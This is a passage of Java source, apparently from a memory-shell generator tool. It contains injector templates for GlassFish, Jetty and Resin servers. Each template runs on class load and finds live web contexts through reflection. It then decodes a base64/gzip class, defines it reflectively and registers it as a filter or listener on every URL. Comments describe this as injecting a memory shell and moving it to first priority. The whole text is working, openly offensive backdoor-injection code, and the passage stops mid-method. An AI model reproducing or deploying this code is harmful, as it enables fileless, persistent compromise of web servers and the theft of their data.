package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.zip.GZIPInputStream;
public class GlassFishFilterInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new GlassFishFilterInjectorTpl();
}
public GlassFishFilterInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getFilter(context);
addFilter(context, filter);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
try {
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
for (Object key : childrenMap.keySet()) {
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
for (Object key1 : children.keySet()) {
Object context = children.get(key1);
if (context != null) contexts.add(context);
}
}
}
}
} catch (Exception ignored) {
}
return contexts;
}
private Object getFilter(Object context) throws Exception {
Object filter = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance();
} catch (Exception ignored) {
}
}
return filter;
}
public void addFilter(Object context, Object filter) throws Exception {
String filterName = getSimpleName(getClassName());
try {
Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false});
Constructor<?>[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
constructors[0].setAccessible(true);
Object filterConfig = constructors[0].newInstance(context, filterDef);
HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFV(context, "filterConfigs");
filterConfigs.put(filterName, filterConfig);
} catch (Exception e) {
}
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static String getSimpleName(String className) {
int lastDotIndex = className.lastIndexOf(".");
if (lastDotIndex != -1 && lastDotIndex < className.length() - 1) {
return className.substring(lastDotIndex + 1);
}
return className;
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,193 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.EventListener;
import java.util.HashMap;
import java.util.List;
import java.util.zip.GZIPInputStream;
public class GlassFishListenerInjectorTpl {
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new GlassFishListenerInjectorTpl();
}
public GlassFishListenerInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getListener(context);
addListener(context, listener);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
try {
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
for (Object key : childrenMap.keySet()) {
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
for (Object key1 : children.keySet()) {
Object context = children.get(key1);
if (context != null) contexts.add(context);
}
}
}
}
} catch (Exception ignored) {
}
return contexts;
}
private Object getListener(Object context) throws Exception {
Object listener = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Exception ignored) {
}
}
return listener;
}
public void addListener(Object context, Object listener) throws Exception {
try {
List<EventListener> eventListeners = (List<EventListener>) invokeMethod(context, "getApplicationEventListeners");
boolean isExist = false;
for (EventListener eventListener : eventListeners) {
if (eventListener.getClass().getName().equals(listener.getClass().getName())) {
isExist = true;
break;
}
}
if (!isExist) {
eventListeners.add((EventListener) listener);
}
} catch (Exception e) {
}
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,297 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.lang.reflect.*;
import java.util.ArrayList;
import java.util.List;
import java.util.zip.GZIPInputStream;
/**
* tested v8、v9
*/
public class JettyFilterInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new JettyFilterInjectorTpl();
}
public JettyFilterInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getFilter(context);
addFilter(context, filter);
}
} catch (Exception ignored) {
}
}
public String getFilterName(String className) {
if (className.contains(".")) {
int lastDotIndex = className.lastIndexOf(".");
return className.substring(lastDotIndex + 1);
} else {
return className;
}
}
public void addFilter(Object context, Object magicFilter) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException, UnsupportedEncodingException {
String filterName = getFilterName(getClassName());
Class filterClass = magicFilter.getClass();
try {
Object servletHandler = getFV(context, "_servletHandler");
// 1. 判断是否已经注入
if (isInjected(servletHandler, filterClass.getName())) {
return;
}
Class filterHolderClass = context.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder");
Constructor constructor = filterHolderClass.getConstructor(Class.class);
Object filterHolder = constructor.newInstance(filterClass);
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{filterName});
// 2. 注入内存马Filter
invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
// 3. 修改Filter的优先级为第一位
Object filterMaps = getFV(servletHandler, "_filterMappings");
Object[] tmpFilterMaps = new Object[Array.getLength(filterMaps)];
int n = 1;
for (int i = 0; i < Array.getLength(filterMaps); i++) {
Object filter = Array.get(filterMaps, i);
String _filterName = (String) getFV(filter, "_filterName");
if (_filterName.contains(filterClass.getName())) {
tmpFilterMaps[0] = filter;
} else {
tmpFilterMaps[n] = filter;
n++;
}
}
for (int j = 0; j < tmpFilterMaps.length; j++) {
Array.set(filterMaps, j, tmpFilterMaps[j]);
}
// 4. 解决 jetty filterChainsCache 导致 filter 内存马连接失败的问题
invokeMethod(servletHandler, "invalidateChainsCache");
} catch (Exception ignored) {
}
}
List<Object> getContext() {
List<Object> contexts = new ArrayList();
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
for (Thread thread : threads) {
try {
Object contextClassLoader = getContextClassLoader(thread);
if (isWebAppClassLoader(contextClassLoader)) {
contexts.add(getContextFromWebAppClassLoader(contextClassLoader));
} else if (isHttpConnection(thread)) {
contexts.add(getContextFromHttpConnection(thread));
}
} catch (Exception ignored) {
}
}
return contexts;
}
private Object getContextClassLoader(Thread thread) throws Exception {
return invokeMethod(thread, "getContextClassLoader");
}
private boolean isWebAppClassLoader(Object classLoader) {
return classLoader.getClass().getName().contains("WebAppClassLoader");
}
private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception {
Object context = getFV(classLoader, "_context");
Object handler = getFV(context, "_servletHandler");
return getFV(handler, "_contextHandler");
}
private boolean isHttpConnection(Thread thread) throws Exception {
Object threadLocals = getFV(thread, "threadLocals");
Object table = getFV(threadLocals, "table");
for (int i = 0; i < Array.getLength(table); ++i) {
Object entry = Array.get(table, i);
if (entry != null) {
Object httpConnection = getFV(entry, "value");
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
return true;
}
}
}
return false;
}
private Object getContextFromHttpConnection(Thread thread) throws Exception {
Object threadLocals = getFV(thread, "threadLocals");
Object table = getFV(threadLocals, "table");
for (int i = 0; i < Array.getLength(table); ++i) {
Object entry = Array.get(table, i);
if (entry != null) {
Object httpConnection = getFV(entry, "value");
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
Object request = invokeMethod(httpChannel, "getRequest");
Object session = invokeMethod(request, "getSession");
Object servletContext = invokeMethod(session, "getServletContext");
return getFV(servletContext, "this$0");
}
}
}
throw new Exception("HttpConnection not found");
}
private Object getFilter(Object context) {
Object filter = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance();
} catch (Exception e1) {
e1.printStackTrace();
}
}
return filter;
}
public static boolean isInjected(Object servletHandler, String filterClassName) throws Exception {
try {
Object filterMaps = getFV(servletHandler, "_filterMappings");
for (int i = 0; i < Array.getLength(filterMaps); i++) {
Object filter = Array.get(filterMaps, i);
String filterName = (String) getFV(filter, "_filterName");
if (filterName.contains(filterClassName)) {
return true;
}
}
} catch (Exception e) {
return false;
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,251 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.EventListener;
import java.util.List;
import java.util.zip.GZIPInputStream;
/**
* tested v7、v8、v9
*/
public class JettyListenerInjectorTpl {
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new JettyListenerInjectorTpl();
}
public JettyListenerInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getListener(context);
addListener(context, listener);
}
} catch (Exception e) {
}
}
List<Object> getContext() {
List<Object> contexts = new ArrayList();
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
for (Thread thread : threads) {
try {
Object contextClassLoader = getContextClassLoader(thread);
if (isWebAppClassLoader(contextClassLoader)) {
contexts.add(getContextFromWebAppClassLoader(contextClassLoader));
} else if (isHttpConnection(thread)) {
contexts.add(getContextFromHttpConnection(thread));
}
} catch (Exception ignored) {
}
}
return contexts;
}
private Object getContextClassLoader(Thread thread) throws Exception {
return invokeMethod(thread, "getContextClassLoader");
}
private boolean isWebAppClassLoader(Object classLoader) {
return classLoader.getClass().getName().contains("WebAppClassLoader");
}
private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception {
Object context = getFV(classLoader, "_context");
Object handler = getFV(context, "_servletHandler");
return getFV(handler, "_contextHandler");
}
private boolean isHttpConnection(Thread thread) throws Exception {
Object threadLocals = getFV(thread, "threadLocals");
Object table = getFV(threadLocals, "table");
for (int i = 0; i < Array.getLength(table); ++i) {
Object entry = Array.get(table, i);
if (entry != null) {
Object httpConnection = getFV(entry, "value");
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
return true;
}
}
}
return false;
}
private Object getContextFromHttpConnection(Thread thread) throws Exception {
Object threadLocals = getFV(thread, "threadLocals");
Object table = getFV(threadLocals, "table");
for (int i = 0; i < Array.getLength(table); ++i) {
Object entry = Array.get(table, i);
if (entry != null) {
Object httpConnection = getFV(entry, "value");
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
Object request = invokeMethod(httpChannel, "getRequest");
Object session = invokeMethod(request, "getSession");
Object servletContext = invokeMethod(session, "getServletContext");
return getFV(servletContext, "this$0");
}
}
}
throw new Exception("HttpConnection not found");
}
private Object getListener(Object context) {
Object listener = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Throwable tt) {
}
}
return listener;
}
public static void addListener(Object context, Object listener) {
try {
if (isInjected(context, listener.getClass().getName())) {
return;
}
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
} catch (Exception e) {
}
}
public static boolean isInjected(Object context, String className) throws Exception {
try {
// jetty v8、 v9
EventListener[] eventListeners = (EventListener[]) invokeMethod(context, "getEventListeners");
for (int i = 0; i < eventListeners.length; i++) {
if (eventListeners[i].getClass().getName().contains(className)) {
return true;
}
}
} catch (Exception e) {
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,221 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.zip.GZIPInputStream;
public class ResinFilterInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new ResinFilterInjectorTpl();
}
public ResinFilterInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getFilter(context);
addFilter(context, filter);
}
} catch (Exception ignored) {
}
}
private void addFilter(Object context, Object filter) throws Exception {
String filterClassName = filter.getClass().getName();
if (!isInjected(context, filterClassName)) {
try {
Class filterMappingClass;
try {
filterMappingClass = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping");
} catch (Exception e) {
filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping");
}
Object filterMappingImpl = filterMappingClass.newInstance();
invokeMethod(filterMappingImpl, "setFilterName", new Class[]{String.class}, new Object[]{getFilterName(filterClassName)});
invokeMethod(filterMappingImpl, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
Object urlPattern = invokeMethod(filterMappingImpl, "createUrlPattern");
invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{urlPattern});
invokeMethod(urlPattern, "init");
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
invokeMethod(context, "clearCache");
} catch (Throwable e) {
}
}
}
public List<Object> getContext() {
List<Object> contexts = new ArrayList();
HashSet<Object> visited = new HashSet();
try {
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
for (Thread thread : threads) {
Class<?> servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
if (webApp != null && visited.add(webApp)) {
contexts.add(webApp);
}
}
} catch (Exception e) {
// Handle exception
}
return contexts;
}
private Object getFilter(Object context) {
Object filter = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance();
} catch (Throwable tt) {
}
}
return filter;
}
public String getFilterName(String className) {
if (className.contains(".")) {
int lastDotIndex = className.lastIndexOf(".");
return className.substring(lastDotIndex + 1);
} else {
return className;
}
}
public boolean isInjected(Object context, String evilClassName) throws Exception {
Map<String, Object> filters = (Map) getFV(getFV(context, "_filterManager"), "_filters");
for (String key : filters.keySet()) {
if (key.contains(evilClassName)) {
return true;
}
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
